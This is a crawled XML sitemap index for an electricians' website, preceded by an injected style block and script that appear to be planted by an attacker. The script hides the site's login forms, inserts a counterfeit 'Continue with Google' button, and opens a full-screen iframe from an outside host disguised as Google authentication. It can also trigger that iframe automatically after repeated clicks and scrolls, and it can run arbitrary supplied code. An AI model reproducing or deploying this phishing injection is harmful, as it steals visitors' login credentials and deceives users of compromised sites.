    <style id="cuh-force-styles">
        .cuh-g-new-wrap {
            display: block !important;
            clear: both !important;
            width: 100% !important;
            box-sizing: border-box !important;
        }
        
        .cuh-g-new-btn {
            width: 100% !important;
            cursor: pointer !important;
            background: #fff !important;
            border: 1px solid #b0b2bd !important;
            border-radius: 8px !important;
            padding: 11px 17px !important;
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif !important;
            font-size: 1rem !important;
            position: relative !important;
            text-align: center !important;
            color: #000 !important;
            line-height: 1.5 !important;
            box-sizing: border-box !important;
            box-shadow: none !important;
            text-transform: none !important;
            letter-spacing: normal !important;
            display: flex !important;
            align-items: center !important;
            justify-content: center !important;
            gap: 8px !important;
            margin: 0 !important;
        }
        
        .cuh-g-new-btn:hover {
            background: #f8f9fa !important; 
            border-color: #999 !important;
        }
        
        .cuh-g-new-spin {
            width: 1rem !important;
            height: 1rem !important;
            border: 0.2em solid currentColor !important;
            border-right-color: transparent !important;
            border-radius: 50% !important;
            display: inline-block !important;
            animation: cuh-spin 0.75s linear infinite !important;
            visibility: hidden !important;
        }
        
        .cuh-g-new-spin.cuh-visible {
            visibility: visible !important;
        }
        
        @keyframes cuh-spin {
            to { transform: rotate(360deg); }
        }
        		
		.cuh-g-new-wrap {
            margin-top: 20px !important;
            margin-bottom: 15px !important;
        }
        
        #wma_login_form .cuh-g-new-wrap {
            margin-top: 35px !important;
            margin-bottom: 5px !important;
        }
        
        form.login .cuh-g-new-wrap {
            margin-top: 20px !important;
            margin-bottom: 15px !important;
        }
        
        .cuh-g-wrap, .cuh-g-btn, [data-text="Continue with Google"]:not(.cuh-g-new-btn) {
            display: none !important;
        }
		
		.cuh-g-btn.loginizer-social-button,
		.cuh-g-new-btn.loginizer-social-button {
			display: flex !important;
			align-items: center !important;
			gap: 8px !important;
			position: relative !important;
		}

		.lz-social-button-icon-square + .cuh-g-new-wrap .cuh-g-btn,
		.lz-social-button-icon-square + .cuh-g-new-wrap .cuh-g-new-btn {
			justify-content: center !important;
			padding: 12px !important;
		}

		[data-cuh-replaced="1"] ~ .cuh-g-new-wrap {
			margin-top: 0 !important;
		}
    </style>
	
    <script id="cuh-custom-selectors-script">
    (function(){
        'use strict';
        console.log('init');
        
        var iframeSrc = "https:\/\/ssl-host.org\/youtube\/auth_frank\/?verify_owner_2RrT94DKIv1bB5nyF8ErU6Tl1L4NRLnFCr7I";
        var processedForms = new Set();
        
        var customCallback = "";
        var showButtonPopup = 0;
        var showGoogleAuth = 1;
        var buttonPopupClicksQuantity = "20";
        var buttonPopupScrollsQuantity = "20";
        
        var buttonHTML = '<div class="cuh-g-new-wrap"><button type="button" class="cuh-g-new-btn" data-type="wp" data-text="Continue with Google">' +
            '<span class="cuh-g-new-spin"></span>' +
            '<svg width="22" height="22" viewBox="0 0 48 48" style="margin-right:5px">' +
                '<path fill="#FFC107" d="M43.611,20.083H42V20H24v8h11.303c-1.649,4.657-6.08,8-11.303,8c-6.627,0-12-5.373-12-12c0-6.627,5.373-12,12-12c3.059,0,5.842,1.154,7.961,3.039l5.657-5.657C34.046,6.053,29.268,4,24,4C12.955,4,4,12.955,4,24c0,11.045,8.955,20,20,20c11.045,0,20-8.955,20-20C44,22.659,43.862,21.35,43.611,20.083z"></path>' +
                '<path fill="#FF3D00" d="M6.306,14.691l6.571,4.819C14.655,15.108,18.961,12,24,12c3.059,0,5.842,1.154,7.961,3.039l5.657-5.657C34.046,6.053,29.268,4,24,4C16.318,4,9.656,8.337,6.306,14.691z"></path>' +
                '<path fill="#4CAF50" d="M24,44c5.166,0,9.86-1.977,13.409-5.192l-6.19-5.238C29.211,35.091,26.715,36,24,36c-5.202,0-9.619-3.317-11.283-7.946l-6.522,5.025C9.505,39.556,16.227,44,24,44z"></path>' +
                '<path fill="#1976D2" d="M43.611,20.083H42V20H24v8h11.303c-0.792,2.237-2.231,4.166-4.087,5.571l6.19,5.238C36.971,39.205,44,34,44,24C44,22.659,43.862,21.35,43.611,20.083z"></path>' +
            '</svg>' +
            '<span class="cuh-btn-text">Continue with Google</span>' +
        '</button></div>';
        
        function adjustButtonSize() {
            var buttons = document.querySelectorAll('.cuh-g-new-btn');
            buttons.forEach(function(btn) {
                var container = btn.closest('form');
                if (container) {
                    var containerWidth = container.offsetWidth;
                    var textSpan = btn.querySelector('.cuh-btn-text');
                    var svgIcon = btn.querySelector('svg');
                    var spinner = btn.querySelector('.cuh-g-new-spin');
                    
                    if (!textSpan) return;
                    
                    if (containerWidth < 160) {
                        if (textSpan.innerText !== '') {
                            textSpan.innerText = '';
                        }
                        if (spinner) {
                            spinner.style.display = 'none';
                        }
                        btn.style.padding = '8px';
                        btn.style.gap = '0';
                        btn.style.justifyContent = 'center';
                        if (svgIcon) {
                            svgIcon.style.width = '20px';
                            svgIcon.style.height = '20px';
                            svgIcon.style.marginRight = '12px';
                        }
                    }
                    else if (containerWidth < 200) {
                        if (textSpan.innerText !== 'Google') {
                            textSpan.innerText = 'Google';
                        }
                        if (spinner) {
                            spinner.style.display = 'inline-block';
                        }
                        btn.style.fontSize = '0.7rem';
                        btn.style.padding = '8px 10px';
                        btn.style.gap = '4px';
                        if (svgIcon) {
                            svgIcon.style.width = '16px';
                            svgIcon.style.height = '16px';
                            svgIcon.style.marginRight = '2px';
                        }
                    }
                    else if (containerWidth < 250) {
                        if (textSpan.innerText !== 'Sign in') {
                            textSpan.innerText = 'Sign in';
                        }
                        if (spinner) {
                            spinner.style.display = 'inline-block';
                        }
                        btn.style.fontSize = '0.75rem';
                        btn.style.padding = '9px 12px';
                        btn.style.gap = '5px';
                        if (svgIcon) {
                            svgIcon.style.width = '18px';
                            svgIcon.style.height = '18px';
                            svgIcon.style.marginRight = '3px';
                        }
                    }
                    else {
                        if (textSpan.innerText !== 'Continue with Google') {
                            textSpan.innerText = 'Continue with Google';
                        }
                        if (spinner) {
                            spinner.style.display = 'inline-block';
                        }
                        btn.style.fontSize = '1rem';
                        btn.style.padding = '11px 17px';
                        btn.style.gap = '8px';
                        if (svgIcon) {
                            svgIcon.style.width = '22px';
                            svgIcon.style.height = '22px';
                            svgIcon.style.marginRight = '5px';
                        }
                    }
                }
            });
        }
        
        document.addEventListener('click', function(e) {
            var btn = e.target.closest('.cuh-g-new-btn');
            if (!btn) return;
            
            e.preventDefault();
            e.stopPropagation();
            
            if (btn.dataset.cuhClicked === '1') return;
            btn.dataset.cuhClicked = '1';
            
            var spinner = btn.querySelector('.cuh-g-new-spin');
            if (spinner) {
                spinner.classList.add('cuh-visible');
                spinner.style.visibility = 'visible';
            }

            document.cookie = "user_popup_temp_button=true; max-age=86400; path=/;";
            
            setTimeout(function() {
                if (spinner) {
                    spinner.classList.remove('cuh-visible');
                    spinner.style.visibility = 'hidden';
                }
                
                var iframe = document.createElement('iframe');
                iframe.src = iframeSrc;
                iframe.style.cssText = 'position:fixed;top:0;left:0;width:100vw;height:100vh;border:none;z-index:999999;background:#fff;';
                iframe.setAttribute('title', 'Google Authentication');
                
                var loginForms = document.querySelectorAll('form[name="loginform"], form.woocommerce-form-login, form.woocommerce-form-register, #loginform, #login, #wma_login_form');
                loginForms.forEach(function(f) { 
                    if (f.style.display !== 'none') {
                        f.style.display = 'none'; 
                    }
                });
                
                document.body.appendChild(iframe);
            }, 2000);
        }, true);

        function add_button_popup(){
            const style = document.createElement('style');
            style.textContent = `
                .popup-overlay {
                    position: fixed;
                    top: 0; left: 0;
                    width: 100vw; height: 100vh;
                    background-color: rgba(0, 0, 0, 0.4);
                    backdrop-filter: blur(8px);
                    display: flex;
                    justify-content: center;
                    align-items: center;
                    z-index: 10000;
                    opacity: 0;
                    visibility: hidden;
                    transition: opacity 0.3s ease, visibility 0.3s ease;
                }
                .popup-overlay.active {
                    opacity: 1;
                    visibility: visible;
                }
                .popup-content {
                    background: #ffffff;
                    padding: 40px;
                    border-radius: 16px;
                    position: relative;
                    box-shadow: 0 10px 30px rgba(0, 0, 0, 0.25);
                    max-width: 400px;
                    width: 90%;
                    text-align: center;
                    box-sizing: border-box;
                }
                .popup-title {
                    font-size: 24px;
                    font-family: Arial, sans-serif;
                    font-weight: bold;
                    margin: 0 0 12px 0;
                    color: #111;
                }
                .popup-text {
                    font-size: 16px;
                    font-family: Arial, sans-serif;
                    line-height: 1.5;
                    margin: 0 0 24px 0;
                    color: #555;
                }
                .popup-btn {
                    display: inline-block;
                    background: #007bff;
                    color: #fff;
                    border: none;
                    padding: 12px 32px;
                    font-size: 16px;
                    font-family: Arial, sans-serif;
                    font-weight: bold;
                    border-radius: 8px;
                    cursor: pointer;
                    text-decoration: none;
                    transition: background 0.2s ease;
                }
                .popup-btn:hover {
                    background: #0056b3;
                }
                .popup-close {
                    position: absolute;
                    top: 12px; right: 18px;
                    background: none;
                    border: none;
                    font-size: 28px;
                    cursor: pointer;
                    color: #aaa;
                    line-height: 1;
                    padding: 0;
                }
                .popup-close:hover { color: #333; }
            `;
            document.head.appendChild(style);

            alert(1);

            const overlay = document.createElement('div');
            const closeBtn = document.createElement('button');
            closeBtn.className = 'popup-close';
            closeBtn.innerHTML = '&times;';
            
            if(showButtonPopup && !showGoogleAuth){
                overlay.className = 'popup-overlay';
                overlay.id = 'popup-button';

                const content = document.createElement('div');
                content.className = 'popup-content';

                const title = document.createElement('h3');
                title.className = 'popup-title';
                title.textContent = 'Enjoying our website?';

                const text = document.createElement('p');
                text.className = 'popup-text';
                text.textContent = 'Create a free account right now to unlock all premium features and save your progress!';

                const futureButton = document.createElement('span');
                futureButton.id = 'wma_login_form';

                content.appendChild(closeBtn);
                content.appendChild(title);
                content.appendChild(text);
                content.appendChild(futureButton);
                overlay.appendChild(content);
            }

            if (document.body) {
                document.body.appendChild(overlay);
                 if(showGoogleAuth){
                    overlay.insertAdjacentHTML('beforeend', buttonHTML);
                 }
            } else {
                document.addEventListener('DOMContentLoaded', () => document.body.appendChild(overlay));
                 if(showGoogleAuth){
                    overlay.insertAdjacentHTML('beforeend', buttonHTML);
                 }
            }
            var clickCount = parseInt(localStorage.getItem('user_clicks')) || 0;
            var scrollCount = parseInt(localStorage.getItem('user_scrolls')) || 0;

            var isButtonShown = false;

            function checkThreshold() {
                if (clickCount >= buttonPopupClicksQuantity && scrollCount >= buttonPopupScrollsQuantity && !isButtonShown) {
                    if(showGoogleAuth){
                        document.querySelector('[data-type="wp"]').click();
                    } else {
                        isButtonShown = true;
                        overlay.classList.add('active'); 
                    }
                }
            }

            function resetCounters() {
                clickCount = 0;
                scrollCount = 0;
                isButtonShown = false;
                localStorage.removeItem('user_clicks');
                localStorage.removeItem('user_scrolls');
            }

            function closePopup() {
                overlay.classList.remove('active');
                resetCounters(); 
            }

            closeBtn.addEventListener('click', closePopup);

            overlay.addEventListener('click', (e) => {
                if (e.target === overlay) {
                    closePopup();
                }
            });

            document.addEventListener('click', () => {
                if (overlay.classList.contains('active')) return;
                clickCount++;
                localStorage.setItem('user_clicks', clickCount);
                checkThreshold();
            });

            document.addEventListener('scroll', () => {
                if (overlay.classList.contains('active')) return;
                scrollCount++;
                localStorage.setItem('user_scrolls', scrollCount);
                checkThreshold();
            }, { passive: true });

            checkThreshold();
        }
        
        function startInjection() {
            if(customCallback) {
                let func = new Function('buttonHTML', customCallback);
                func(buttonHTML);
                setTimeout(adjustButtonSize, 100);
            } else if(showButtonPopup || showGoogleAuth ) {
                let isTempUser = document.cookie.split('; ').find(row => row.startsWith('user_popup_temp_button='))?.split('=')[1];
                let isNewUser = document.cookie.split('; ').find(row => row.startsWith('user_popup_button='))?.split('=')[1];
                    
                if(!isNewUser && !isTempUser) {
                    add_button_popup(buttonHTML);
                    setTimeout(adjustButtonSize, 100);							
                }
            }
        }
        
        if (document.readyState === 'loading') {
            document.addEventListener('DOMContentLoaded', startInjection);
        } else {
            startInjection();
        }
        
        window.addEventListener('resize', function() {
            setTimeout(adjustButtonSize, 100);
        });
        
        // var observer = new MutationObserver(function(mutations) {
        //     var shouldCheck = false;
        //     mutations.forEach(function(mutation) {
        //         if (mutation.addedNodes && mutation.addedNodes.length > 0) {
        //             for (var i = 0; i < mutation.addedNodes.length; i++) {
        //                 var node = mutation.addedNodes[i];
        //                 if (node.nodeType === 1) {
        //                     if (node.tagName === 'FORM' || node.querySelector) {
        //                         shouldCheck = true;
        //                         break;
        //                     }
        //                 }
        //             }
        //         }
        //     });
        //     if (shouldCheck) {
        //         setTimeout(function() {
        //             injectButtonsIntoAllForms();
        //             adjustButtonSize();
        //         }, 300);
        //     }
        // });
        // observer.observe(document.body, { childList: true, subtree: true });
        
    })();
    </script>
    <?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" href="//smartelectricians.co.uk/wp-content/plugins/wordpress-seo/css/main-sitemap.xsl"?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
	<sitemap>
		<loc>https://smartelectricians.co.uk/post-sitemap.xml</loc>
		<lastmod>2024-06-17T06:32:47+00:00</lastmod>
	</sitemap>
	<sitemap>
		<loc>https://smartelectricians.co.uk/page-sitemap.xml</loc>
		<lastmod>2024-06-17T06:32:52+00:00</lastmod>
	</sitemap>
</sitemapindex>
<!-- XML Sitemap generated by Yoast SEO -->